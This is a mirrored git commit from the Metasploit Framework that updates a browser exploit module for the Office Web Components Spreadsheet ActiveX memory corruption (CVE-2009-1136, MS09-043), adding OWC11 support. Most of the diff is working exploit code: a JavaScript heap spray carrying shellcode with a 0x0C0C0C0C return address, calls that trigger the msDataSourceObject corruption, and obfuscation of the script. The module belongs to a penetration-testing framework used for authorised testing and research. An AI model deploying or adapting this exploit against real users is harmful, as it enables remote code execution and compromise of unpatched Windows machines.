infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

add support for OWC11 (from DSR!) 

git-svn-id: file:///home/svn/framework3/trunk@9883 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-07-20 06:24:19 +00:00
parent 14263662e5
commit 786ccb3d5f
1 changed files with 45 additions and 36 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

81
modules/exploits/windows/browser/ms09_043_owc_msdso.rb
View File

@ -21,19 +21,21 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info, super(update_info(info,
'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption', 'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
'Description' => %q{ 'Description' => %q{
This module exploits a memory corruption vulnerability within the Office Web Component This module exploits a memory corruption vulnerability within versions 10 and 11 of
Spreadsheet ActiveX control. This module was based on an exploit found in the Office Web Component Spreadsheet ActiveX control. This module was based on
the wild. an exploit found in the wild.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => ['unknown','hdm'], 'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
[ [
[ 'CVE', '2009-1136' ], [ 'CVE', '2009-1136' ],
[ 'OSVDB', '55806'], [ 'OSVDB', '55806' ],
[ 'MSB', 'MS09-043' ], [ 'MSB', 'MS09-043' ],
[ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ], [ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9163/' ],
# broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
], ],
'DefaultOptions' => 'DefaultOptions' =>
@ -49,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
], ],
'DisclosureDate' => 'Jul 13 2009', 'DisclosureDate' => 'Jul 13 2009',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
@ -74,48 +76,55 @@ class Metasploit3 < Msf::Exploit::Remote
retaddr = Rex::Text.to_unescape([target.ret].pack('V')) retaddr = Rex::Text.to_unescape([target.ret].pack('V'))
js = %Q| js = %Q|
var xshellcode = unescape("#{shellcode}");
var xshellcode = unescape("#{shellcode}"); var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape("#{retaddr}");
var xarray = new Array(); while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
var xls = 0x81000-(xshellcode.length*2); var xlh = xbigblock.substring(0, xls / 2);
var xbigblock = unescape("#{retaddr}"); delete xbigblock;
while( xbigblock.length < xls / 2) { xbigblock += xbigblock; } for(xi=0; xi<0x99*2; xi++) {
var xlh = xbigblock.substring(0, xls / 2); xarray[xi] = xlh + xlh + xshellcode;
delete xbigblock; }
for(xi=0; xi<0x99*2; xi++) { CollectGarbage();
xarray[xi] = xlh + xlh + xshellcode;
}
CollectGarbage(); var xobj;
try {
xobj = new ActiveXObject("OWC10.Spreadsheet");
} catch(err) {
try {
xobj = new ActiveXObject("OWC11.Spreadsheet");
} catch(err) {
}
}
var xobj = new ActiveXObject("OWC10.Spreadsheet"); xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);
xe = new Array(); for(xi=0; xi < xe.length; xi++){
xe.push(1); for(xj=0; xj<10; xj++){
xe.push(2); try { xobj.Evaluate(xe[xi]); } catch(e) { }
xe.push(0); }
xe.push(window); }
for(xi=0; xi < xe.length; xi++){ window.status = xe[3] + '';
for(xj=0; xj<10; xj++){
try { xobj.Evaluate(xe[xi]); } catch(e) { }
}
}
window.status = xe[3] + ''; for(xj=0; xj<10; xj++){
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
for(xj=0; xj<10; xj++){ }
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { } |
}
|
# Obfuscate it up a bit # Obfuscate it up a bit
js = obfuscate_js(js, js = obfuscate_js(js,
'Symbols' => { 'Symbols' => {
'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj} 'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
} }
).to_s ).to_s